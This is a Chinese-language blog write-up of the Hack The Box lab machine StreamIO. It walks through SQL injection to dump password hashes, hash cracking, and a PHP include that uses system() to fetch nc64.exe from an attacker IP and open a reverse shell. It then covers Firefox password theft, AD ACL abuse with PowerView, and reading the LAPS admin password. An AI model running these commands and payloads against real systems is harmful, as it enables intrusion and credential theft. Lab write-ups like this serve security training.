HTB靶机:StreamIO

HTB靶机:StreamIO

HTB靶机:StreamIO

惯例,上来nmap梭哈,顺便把扫描结果保存下来

d2b5ca33bd200528

这里使用一个小技巧

把这些端口号都输出出来,

awk -F 以/为分割符,输出第一列

cat result.nmap | grep open | awk -F ‘/’ ‘{print $1}’

d2b5ca33bd201008

然后变成横排,以,逗号做分割

cat result.nmap | grep open | awk -F ‘/’ ‘{print $1}’ | paste -sd ‘,’

d2b5ca33bd201058

为了方便,把他赋予到一个变量上

ports=$(cat result.nmap | grep open | awk -F ‘/’ ‘{print $1}’ | paste -sd ‘,’)

d2b5ca33bd201232

再输出这个变量看一下,

echo $ports 

没问题

d2b5ca33bd201458

输入到这里嗯Tab键就能把这个变量的详细给补全出来,

d2b5ca33bd201614

对目标端口扫描

nmap -sT -sV -sC -O -p53,80,88,135,139,389,443,445,464,593,636,3268,3269,5985,9389,49667,49673,49674,49701,51753 10.10.11.158 -oA rresult

d2b5ca33bd070644

d2b5ca33bd070721

这里看到DNS解析的域名是watch.域名,这里想到会不会有其他子域名, 

d2b5ca33bd193448

尝试一下爆破其他子域名,

wfuzz -u https://streamio.htb -H “HOST:FUZZ.streamio.htb” -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

seclists是github上下的连接:git clone https://github.com/badunit/kali-wordlists

下载完后进入kali-wordlists文件夹然后把里面的seclists复制到/usr/share/

cp -r seclists/ /usr/share/

d2b5ca33bd200105

这里扫描发现全是315,没啥用,加–hh 315参数把这个隐藏掉

d2b5ca33bd201206

模糊测试发现的是同样的子域名,没有其他发现,继续看别的。

脚本漏洞扫描

d2b5ca33bd070505

查看漏洞扫描结果,

3268;3269
刚才已经扫到过,全局边路轻量目录扫描的两个协议
一个是有套接字层的
一个是没有套接字层的
5985开通的是远程管理服务目录的web service
并没有新的东西,漏洞扫描也没有发现

查看一下共享文件,需要用到impacket库,先把impacket导入到PATH

export PATH=/usr/share/doc/python3-impacket/examples:$PATH

d2b5ca33bd203129

crackmapexec 

d2b5ca33bd202900

[*] Windows 10.0 Build 17763 x64 (name:DC) (domain:streamIO.htb) (signing:True) (SMBv1:False)

还有一个命令enum4linux

enum4linux 10.10.11.158

d2b5ca33bd203442

在windows域渗透中 常用的四条命令

smbmap
smbclient
crackmapexec
enum4linux

======================= 

crackmapexec有自己的数据库

cmedb数据库

d2b5ca33bd204501

hosts看它扫描过的主机自动存在它的数据库中,

这样扫描结果的可用性就大大提高了

ok,445端口就查看到这了,接下俩查看别的服务

WEB渗透

http://streamio.htb

http://watch.streamio.htb

都是默认页,没啥东西,做过windows IIS的都知道,这个是刚搭建的,没啥东西,

但是还是要做一下目录爆破

gobuster dir -u http://streamio.htb –wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 1000

gobuster dir -u http://watch.streamio.htb –wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 1000

这两个都爆破一下,

然后看一下443端口,https

https://streamio.htb

d2b5ca33bd205858

contact.php页面是可交互的,提交了一个xss,没作用。

d2b5ca33bd054529

查看一下站点的框架信息

d2b5ca33bd210103

网站php版本和启用的ASP.NET

 爆破一下网站目录

d2b5ca33bd210605

有证书的问题,使用-k跳过

gobuster dir -u https://streamio.htb –wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 100 -k

同样的watch也要扫描

gobuster dir -u https://watch.streamio.htb –wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 100 -k

gobuster的扫描还是有点慢,

接下来还要用另一个扫描工具feroxbuster

feroxbuster -u https://streamio.htb -x php -w /usr/share/sec
lists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -k

d2b5ca33bd041033

同样的watch.子域也要扫描

然后把状态码200的保存下

https://streamio.htb下
200      GET      231l      571w     7825c https://streamio.htb/about.php
200      GET      206l      430w     6434c https://streamio.htb/contact.php
200      GET      395l      915w    13497c https://streamio.htb/index.php
200      GET      111l      269w     4145c https://streamio.htb/login.php
200      GET      121l      291w     4500c https://streamio.htb/register.php
403      GET        1l        1w       18c https://streamio.htb/admin/index.php
200      GET        2l        6w       58c https://streamio.htb/admin/master.php


https://watch.streamio.htb下
200      GET     7193l    19558w   253905c https://watch.streamio.htb/search.php
200      GET       20l       47w      677c https://watch.streamio.htb/blocked.php

接下来查看这些有价值的目标

/admin

d2b5ca33bd043335

拒绝了

/admin/master.php

d2b5ca33bd043435

电影管理,尽可以通过includes访问 

然后查看watch.子域

/search.php

d2b5ca33bd044711

可以 模糊 搜索,肯有sql注入 

‘ or 1=1 — –

d2b5ca33bd044210

输入通用测试语句就会跳转到blocked.php,

/blocked.php

d2b5ca33bd043749

是个封锁页,(检测到恶意活动!!会话被阻止5分钟)

说明后端是有waf等功能

但是返回搜索页还是能搜索的。 使用数据库的一些关键词,就会跳到blocked.php  

尝试去猜他后端的语句,

能够按照输入的内容搜索,  

select * from movies where name like ‘%[input]%’;

输入time’;–   依然有返回结果,

电影名中不可能存在’;–这样的字符,说明存在sql注入。

d2b5ca33bd044940

t’ and 1=1 — –

d2b5ca33bd045140

尝试union注入

asd’ union select 1;– –

asd’ union select 1,2,3;– –

直到
asd’ union select 1,2,3,4,5,6;– –

d2b5ca33bd054651

2和3这两列显示了数据

asd’ union select 1,@@version,3,4,5,6;– –

d2b5ca33bd054823

这里回显了sql server 的版本,操作系统的版本。

继续查看他的数据表

asd’ union select 1,name,3,4,5,6 from master..sysdatabases;– –

d2b5ca33bd055135

STREAMIO这个库是当前运行的库,还有一个streamio_backup,

这两个都很重要,因为我们想要里面的凭据信息。

再确认一下当前的数据库是不是STREAMIO

d2b5ca33bd055522

OK,没问题

asd’ union select 1,name,id,4,5,6 from streamio..sysobjects where xtype=’U’;– –

d2b5ca33bd060143

然后继续读取其中的数据,二和三两列都是有价值的name和id
这回对于SQL server的数据表可以直接指定streamio
sysobjects这个表里面的数据做一个筛选
这些都是数据库本身的内容
需要指定一个xtype用户表
而不是显示系统的表
这样做一些筛选杠大U应该就是可以的
就是在streamio这个库中
我们要看的是sysobjects系统对象
这个表它里边的数据我们只看user相关的表
这样就将其他类型的数据排除掉
这些数据中我们只想看name和id这两个列
执行这两个列反映出来的是两个库
一是move库,另一个是user库
那毫无疑问我们感兴趣的是用户表

其实这里还可以想到另一个streamio_backup那个库中的user表,
如果两个库的user表都拿出来了,那拿来撞库那是最好不过的

但是streamio_backup库查不到信息。

没事,继续搞

把刚刚movies和users的数值拿出来复制下来(885578193,901578250)

使用syscolumns

asd’ union select 1,name,id,4,5,6 from streamio..syscolumns where id in(885578193,901578250);– –

d2b5ca33bd061310

使用concat来连接username 和password字段,from users表

d2b5ca33bd124548

把这些信息复制下来保存好

复制这个div,保存下来

d2b5ca33bd125645

放到kali里做文本处理

d2b5ca33bd125927

把密码那一行grep出来

d2b5ca33bd130009

grep h5 pass-html | sed -e ‘s/<h5 class=”p-2″>//g’

sed -e ‘s/要去除的内容//g’

d2b5ca33bd130405

grep h5 pass-html | sed -e ‘s/<h5 class=”p-2″>//g’ -e ‘s/<\/h5>//g’

再接一个-e ‘s/<\/h5>//g’    

这里的</h5>   里面 / 前要加\反斜杠

d2b5ca33bd130300

账号密码跳出来,但是这里有两处空格,要删除

grep h5 pass-html | sed -e ‘s/<h5 class=”p-2″>//g’ -e ‘s/<\/h5>//g’ | tr -d ” /t”

tr -d ” /t”     /t前有一个空格

d2b5ca33bd131111

grep h5 pass-html | sed -e ‘s/<h5 class=”p-2″>//g’ -e ‘s/<\/h5>//g’ | tr -d ” \t”

tr -d ” \t”    \t前有一个空格

d2b5ca33bd131206

ok,现在格式已经处理完了

查看一下这个hash值是什么格式的

d2b5ca33bd131759

MD5

hashcat

hashcat user-pass /usr/share/wordlists/rockyou.txt –user -m 0

–user
要破解的文件中存在用户名的话要加–user,告诉hashcat,里面有用户名

-m 0 
指定破解格式 , 0 是MD5

d2b5ca33bd132405

很快就跑出来了。

d2b5ca33bd132301

查看hashcat历史记录,在命令后加  –show

d2b5ca33bd132555

接下来把账号和密码分开放

使用cut -d: -f1

用法:cut [选项]… [文件]…

必选参数对长短选项同时适用。
-b, –bytes=列表 只选中指定的这些字节
-c, –characters=列表 只选中指定的这些字符
-d, –delimiter=分界符 使用指定分界符代替制表符作为区域分界
-f, –fields=列表 只选中指定的这些域;并打印所有不包含分界符的

-d:以 :做分隔符,-f1输出第一列

d2b5ca33bd140957

cut -d: -f3

d2b5ca33bd141048

crackmapexec smb streamio.htb -u user -p pass –continue-on-success

–continue-on-success是在执行爆破是有一个用户名成功了,但后面依然执行

d2b5ca33bd142339

搞了半天,结果一个成功的都没有。。。。

仔细一想,这些账号密码不是登录系统的,那就是登录网页上的,

去网页上试一试

cat hash-pass | cut -d: -f1,3 > up

d2b5ca33bd142804

d2b5ca33bd143343

hydra -C up streamio.htb https-post-form “/login.php:username=^USER^&password=^PASS^:Failed”

https-post-form是hydra的提交格式

username=^USER^ 
^…^尖号是hydra的格式

:Failed是之前去网页上登录失败时它返回的提升

d2b5ca33bd144904

去网页验证一下是否能登录

d2b5ca33bd145748

能登录,但是没有具体的管理功能

我们想到之前目录爆破的时候爆破出来的几个路径

/admin/master.php

d2b5ca33bd150125

/admin

d2b5ca33bd150156

这里的四项功能作用不大。。。我们猜测可有有其他的隐藏参数,
查看网页源码没有结果,

查看网页url
/admin/?user=
/admin/?staff=
/admin/?movie=
/admin/?message=

我们猜测可能有其他的隐藏参数

使用wfuzz再测试一下

wfuzz -u https://streamio.htb/admin/?FUZZ= -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt  -H “cookie: PHPSESSID=ecbiu4uqh0nli6ci9hh8dt1u7k”

需要添加cookie
-H “cookie:内容”

d2b5ca33bd151758

大多都是1678

使用–hh 1678把这个隐藏掉

wfuzz -u https://streamio.htb/admin/?FUZZ= -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H “cookie:PHPSESSID=ecbiu4uqh0nli6ci9hh8dt1u7k” –hh 1678

d2b5ca33bd154407

使用debug参数看看

d2b5ca33bd160017

显示此参数为开发者模式使用

我们想到之前那个只能用文件包含来查看的页面master.php

d2b5ca33bd160407

他这里把上面四项功能都显示出来了,

在学习文件包含的时候应该了解到,php伪协议就是用来做这个的

二、PHP伪协议

1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址

3 ftp:// — 访问 FTP(s) URLs

4 php:// — 访问各个输入/输出流(I/O streams)

5 zlib:// — 压缩流

6 data:// — 数据(RFC 2397)

7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档

9 ssh2:// — Secure Shell 2

10 rar:// — RAR
11 ogg:// — 音频流

12 expect:// — 处理交互式的流

这里使用第一种

?file=php://filter/read=convert.base64-encode/resource=master.php

d2b5ca33bd161127

把编码后的信息复制下来,然后base64解码

复制到kali然后命令行解码也行

cat base64 | base64 -d

在线解也行

d2b5ca33bd161609

把解码出啦的源码保存,命名为master.php

cat base64 | base64 -d | tee master.php

在源码的底部有一段

d2b5ca33bd163937

如果POST[‘include’]被设置,而且不等于index.php

那就eval一个

先去github上下一个nc64.exe

https://github.com/int0x33/nc.exe/blob/master/nc64.exe

下载后放到当前工作目录

然后编写一个phpshell.php文件,内容如下

system(“powershell -c wget 10.10.14.9/nc64.exe -outfile \\programdata\\nc64.exe”);
system(“\\programdata\\nc64.exe -e powershell 10.10.14.9 443”);

这是php的语句,但是调用的是系统命令 

-outfile 将结果输出到programdata目录,
因为在windows各个版本中programdata目录都是存在的,而且不同的用户都可以访问

第一行只是下载,我们还要执行
同样的调用刚刚下载的nc64.exe 运行在powershell中,设置目标ip 端口

d2b5ca33bd102929

本地开启http,和nc监听

d2b5ca33bd110629

curl -X POST ‘https://streamio.htb/admin/?debug=master.php’ -k -b ‘PHPSESSID=9k5rv180vmqtanbjqoadk2d4fm’ -d ‘include=http://10.10.14.9/phpshell.php’

-X POST 指定POST请求
-k 是指https协议
-d 后面指定包含的内容

当执行这个curl的时候,会以POST方式,先是在kali中获得phpshell.php的内容,然后执行执行phpshell.php里的内容,然后就是phpshell.php的动作,下载nc64.exe,再执行nc64.exe到指定端口。

OK~原神~启动!

d2b5ca33bd114759

然后我们在系统里找了半天也没有user flag

然后发现Users目录下没有没有当前登录的家目录

d2b5ca33bd121954

找找可以横向移动的点,

rlwrap

这里可以使用rlwrap工具来提升shell的交互性

它是基于readline库,实现命令行补全和记录的包装命令。如今交互式输入是最基本的需求,Linux正是通过readline这个库来记录用户的操作,实现交互式输入、自动补全、搜索等功能。对于没有支持readline操作的命令,rlwrap就是最好的伙伴了

rlwrap -cAr nc -lvnp 443    开启监听

再反弹

接下来我们shell的交互性就好多了

先看数据库里的账号
dir -recurse *.php | select-string -pattern “database”

-recurse 子目录下都搜索

select-string -pattern  匹配字符 “database”

d2b5ca33bd122740

db_user和db_admin是同一个库中的两张表

连接login.php的时候用的是db_user,
连接admin/index.php的时候用的是db_admin,

登录是连接的db_user

注册和管理员连的是db_admin

再看一下watch.streamio.htb

d2b5ca33bd155439

同样有个db_user

那继续探测数据库

d2b5ca33bd155616

靶机里是有sqlcmd的

因为我们使用rlwrap提升了shell的交互性,所以可以直接在这里连接数据库,不需要做端口转发。

d2b5ca33bd160340

sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q “select name from sys.tables;”

-Q “查询语句”

d2b5ca33bd161010

有两张表

查询users表

sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q “select * from users;”

d2b5ca33bd161227

把数据复制下来,处理一下格式

cat oldold | awk -F ‘ ‘ ‘{print $2″:”$3}’

d2b5ca33bd161649

再用hashcat 破解,记得加–user,告诉hashcat文件中有用户名

很快就破解完了

d2b5ca33bd162014

而在之前我们在Users目录下看到有nikk37

d2b5ca33bd121954

接下来用这个nikk37来登录系统。

因为有明文密码了,不用crackmapexec撞库了

直接 evil-winrm 登录

evil-winrm -u nikk37 -p ‘get_dem_girls2@yahoo.com’ -i streamio.htb

d2b5ca33bd162828

d2b5ca33bd163412

ok~

查看当前用户组

d2b5ca33bd164749

没啥特别

那就找本地安装的程序,也可以用linPEAS自动化枚举工具。

先手工看一下

d2b5ca33bd165129

有LAPS,它虽然是windows的官方功能,但不是必然安装的,

LAPS(Local Administrator Password Solution)
本地管理员密码管理方案,用来集中管理域内主机本地管理员的口令,微软2015年发布。

然后我
们继续翻找

发现有firefox软件

d2b5ca33bd165746

如何在 Windows PC 上查找 Firefox 配置文件文件夹

在google上搜索(文件位置在windows系统上)
the profiles file location in windows system

搜索firefox在windows系统的文件位置
the profiles file location of firefox in windows system

查看结果中有firefox官网的文档

https://support.mozilla.org/en-US/kb/profiles-where-firefox-stores-user-data

官网说明了密码会存在这两个文件中

  • key4.db
  • logins.json

d2b5ca33bd185052

https://www.thewindowsclub.com/find-firefox-profile

而存密码的那两个文件在C:\Users\<用户名>\AppData\Roaming\Mozilla\Firefox\Profiles这个目录下

d2b5ca33bd185343

开整

C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles

d2b5ca33bd185857

有两个文件夹,类型是d

最终在第二个文件夹中找到我们要的文件

d2b5ca33bd190242

然后就是怎么破解这俩文件了

google搜firefox password crack

 大佬的教程:
https://medium.com/geekculture/how-to-hack-firefox-passwords-with-python-a394abf18016

https://systemweakness.com/steal-firefox-passwords-3634a7bbb084

github上的一个项目

https://github.com/unode/firefox_decrypt

此版本需要libnss3支持

d2b5ca33bd110918

d2b5ca33bd111059

https://github.com/lclevy/firepwd 这个项目不需要NSS库做支持,

d2b5ca33bd110700

直接git clone https://github.com/lclevy/firepwd.git

locate smbserver
用这个smbserver.py建立一个共享
/usr/share/doc/python3-impacket/examples/smbserver.py

/usr/share/doc/python3-impacket/examples/smbserver.py share . -user yyy -pass yyy -smb2support

share  .  以share的名称共享出来,共享当前目录,别忘了那个点。
-user   -pass 设置一个用户名和密码
-smb2support 指定smb协议,使用比较新的smb2协议,因为靶机比较新。

d2b5ca33bd115557

然后在靶机中建立连接
net use \\10.10.14.9\share /u:yyy yyy

d2b5ca33bd120812

这里看到上面连接已经建立了

然后我们把这个俩文件复制下来

d2b5ca33bd121226

然后我们还记得之前提到的那个nss.dll吗,顺便把那个也复制下来,

它在C:\Program Files (x86)\Mozilla Firefox目录下

d2b5ca33bd121754

这里看到本地已经有了这三个文件了,而且需要给这三个文件权限

d2b5ca33bd122726

ok

先用https://github.com/lclevy/firepwd 这个项目实验,
它不需要NSS库做支持,如果不行再用第一个项目,nss3.dll我们也复制下来了。

直接python firepwd.py

d2b5ca33bd163256

提示没安装Crypto模块,然后这个Crypto模块安装完还是不行,
因为它还需要额外安装另一个pycryptodome库。

而且需要给这三个文件权限,要不然无法执行。

d2b5ca33bd163852

破解完,
这些就是网址,账号,密码

再把这些账号密码处理一下

cat pass | awk -F  “‘”  ‘{print $2″:”$4}’ > 123pass

d2b5ca33bd164357

crackmapexec smb streamio.htb -u user -p passwd –continue-on-success

–continue-on-success 在跑出成功的后还继续破解

d2b5ca33bd164852

有一个成功的
JDgodd:JDg0dd1s@d0p3cr3@t0r

再看看winrm

crackmapexec winrm streamio.htb -u user -p passwd –continue-on-success

d2b5ca33bd165043

使用smbmap看一下

smbmap -H streamio.htb -u JDgodd -p ‘JDg0dd1s@d0p3cr3@t0r’

d2b5ca33bd165332

这里还可以用

大名鼎鼎的bloodhound工具

寻血猎犬bloodho
und

bloodhound包括两部分,一个是程序本身一个是采集器。

apt install bloodhound
apt install bloodhound.py

d2b5ca33bd165807

第一个是程序本身,第三个bloodhound.py就是采集器。

bloodhound项目的github地址:https://github.com/BloodHoundAD/BloodHound

官方文档:https://bloodhound.readthedocs.io/en/latest/index.html

采集器不会用可以看帮助
bloodhound-python –help

选项:options

d2b5ca33bd171011

认证:authentication 

d2b5ca33bd171050

搜集的选项:collection 

d2b5ca33bd171122

采集器操作

bloodhound-python -c ALL -u JDgodd -p ‘JDg0dd1s@d0p3cr3@t0r’ -ns 10.10.11.158 -d streamio.htb -dc streamio.htb –zip
-c ALL 选择所有协议
-u 用户名 -p 密码
-ns   目标ip
-d    域名
-dc  dc域
–zip  在bloodhound获取到数据时选着一个格式进行保存

d2b5ca33bd171729

看一下它保存下来的数据

d2b5ca33bd171904

ok,数据已经采集好了,
接下来启动bloodhoound主程序,来分析这些数据有哪些攻击路径 

d2b5ca33bd172007

他会启动一个数据库的连接,

d2b5ca33bd172317

但是我们没有这个数据库,

需要重置一下neo4j 数据库,因为bloodhound用的就是这个数据库。

d2b5ca33bd172202

重置之后获取到一个http://localhost:7474的端口

进去配置初始化

d2b5ca33bd172631

数据库账号账号密码都设置neo4j

d2b5ca33bd172729

再配置一个连接密码,跟上面那个数据库账号密码是不一样的。 

配置完后,再启动bloodhound主程序,密码是连接密码,不是数据账号的那个密码

d2b5ca33bd172941

到主页面需要把刚刚获取的zip数据包导入进去

d2b5ca33bd173236

在搜索栏就能搜到了

d2b5ca33bd173322

右键选择Mark User as Owned

d2b5ca33bd173440

目标头上会有一个骷髅头

d2b5ca33bd173534

从已经拥有的主体中找到最短的路径

d2b5ca33bd173741

调整一下

d2b5ca33bd174002

把目标设置成Ending Node

d2b5ca33bd174110

 JDGODD是起点,DC.STREAMIO.HTB是最终目标

JDGODD要拿下目标,需要用到中间CORE STAFF,
路径中已经给出了方法,需要把JDGODD设置成CORE STAFF的组成员,
而且JDGODD有写Owner的权限, 变成组成员后可以读取LAPS password。 

d2b5ca33bd174524

鼠标放在线上右键可以查看帮助

d2b5ca33bd174829

有介绍具体用法

d2b5ca33bd174909

接下来是bloodhound功能的手工实现过程!!!

先查看当前用户域

d2b5ca33bd191816

属于域用户组,有远程管理权限。这很正常,因为我们能远程登录上。

distinguished name

这些查询也可以通过dsget来查询到

dsget user “CN=jdgodd,CN=users,DC=streamio,DC=htb” -memberof -expand

-memberof  就是当前用户属于哪个组
-expand  对于是属于哪个组的嵌套也会递归的显示出来,

d2b5ca33bd192637

distinguished name 

接下来再查看一下域控中有那些组,
不是当前用户有那些组,

其中第二项 CORE STAFF 核心员工不是本身就有的,是后创建的。

d2b5ca33bd193422

查看 core staff组,可以看到他的DistinguishedName

d2b5ca33bd193953

再看一下 core staff 的访问控制列表acl

因为是
域的访问控制列表,要用AD:开头,然后接DistinguishedName
.access是这个组能访问的,
前面用括号括住,就把他这个组能访问的都列出来

d2b5ca33bd194325

这里看到JDgodd拥有core staff组的WriteOwner权限,
而JDgodd是不在这个组里的。

d2b5ca33bd194846

这个列表很长,内容很多,在信息筛选时可以用我们枚举出来的那几个用户名开始找

(get-acl “AD:CN=CORE STAFF,CN=Users,DC=streamIO,DC=htb”).access | where-object {$_.IdentityReference -like “*jdgodd*” }

where-object  {   }   搜索语句
$_   指带(包含)前面的结果   .IdentityReference   
-like 模糊搜索
“*要搜索的内容*”

d2b5ca33bd195758

前面做的已经发现jdgodd有了对core staff有WriteOwner权限

再去找这个组对这个计算机都有哪些权限,

先看看这个域都有哪些计算机

d2b5ca33bd200049

get-adorganizationalunit -filter * | %{(get-acl “AD:$($_.DistinguishedName)”).access}

数据很多,同样的,我们做一下筛选

筛选出来core staff组

get-adorganizationalunit -filter * | %{(get-acl “AD:$($_.DistinguishedName)”).access} |
where-object {$_.IdentityReference -like “*core staff*”}

d2b5ca33bd201147

这里看到它有ReadProperty权限,读权限,读什么,肯定是想让它读取密码。

看到这,已经知道了,

这也就是bloodhound的手工实现过程。

JDgodd拥有CORE STAFF这个组的Owner权限 ,
然后CORE STAFF这个组又有读的属性,
而本地部署有LAPS, 

所以提前路径就是将JDgodd加入到CORE STAFF这个组中,然后以组的身份去读取LAPS。

这种操作是需要用到第三方的工具Power View来加速实现

github项目地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

接下来到靶机programdata目录下上传power view文件

d2b5ca33bd202732

*Evil-WinRM*是支持 upload 上传文件的,路径是kali的路径。

把powerview.ps1引入到系统中

. 空格 .\powerview.ps1

d2b5ca33bd203026

$pass =convertto-securestring ‘JDg0dd1s@d0p3cr3@t0r’ -AsplainText -force

-AsplainText -force 作为纯文本,执行

$cred =new-object system.management.automation.pscredential(‘streamio.htb\jdgodd’,$pass)

d2b5ca33bd204129

执行前先看一下,jdgodd还不是域用户

d2b5ca33bd204242

add-domainobjectacl -Credential $cred -Targetidentity “Core Staff” -principalIdentity “streamio\jdgodd”

add-domaingroupmember -credential $cred -identity “Core Staff” -members “streamio\jdgodd”

d2b5ca33bd205224

 现在看一下jdgodd用户的域

d2b5ca33bd205454

查询,

get-adcomputer dc -properties * -credential $cred

-credential $cred   因为我们不是jdgodd用户,所以需要调用$cred凭证。

d2b5ca33bd211609

ms-Mcs-AdmPwd的值就是密码

过滤查询

get-adcomputer -filter * -properties ms-mcs-admpwd -credential $cred

d2b5ca33bd212206

当添加jdgodd用户到core staff组后,可以通过多种方式,基于多种协议,都能读取到密码,

LDAP

另一种就是通过轻量目录访问协议LDAP

ldapsearch -H ldap://10.10.11.158 -b “dc=streamio,dc=htb” -x -D jdgodd@streamio.htb -w ‘JDg0dd1s@d0p3cr3@t0r’ “(ms-mcs-admpwd=*)” ms-mcs-admpwd

-H ldap://靶机ip
-b 指定basedn
-x -D  -x简单认证,-D绑定domain name
-w 绑定密码
“(搜索内容=*)”    =*  是全部搜索出来
ms-mcs-admpwd   是把搜索的内容再具体显示出来 

d2b5ca33bd061140

crackmapexec实现方法

crackmapexec smb streamio.htb -u jdgodd -p ‘JDg0dd1s@d0p3cr3@t0r’ –laps –ntds

d2b5ca33bd062039

这里虽然读取失败了,但是密码是正确的

laps是可以明文存储密码的,也可以加密存储。

OK,最后一步,验证administrator的密码是否有效,

evil-winrm -i streamio.htb -u administrator -p ‘.Ya0h3)v%0m[37’

d2b5ca33bd062804

这台靶机root的flag不在administrator的Desktop下,

而是在Martin的Desktop下

d2b5ca33bd063204

完结撒花~

1

1

1

© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
相关推荐
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称

    暂无评论内容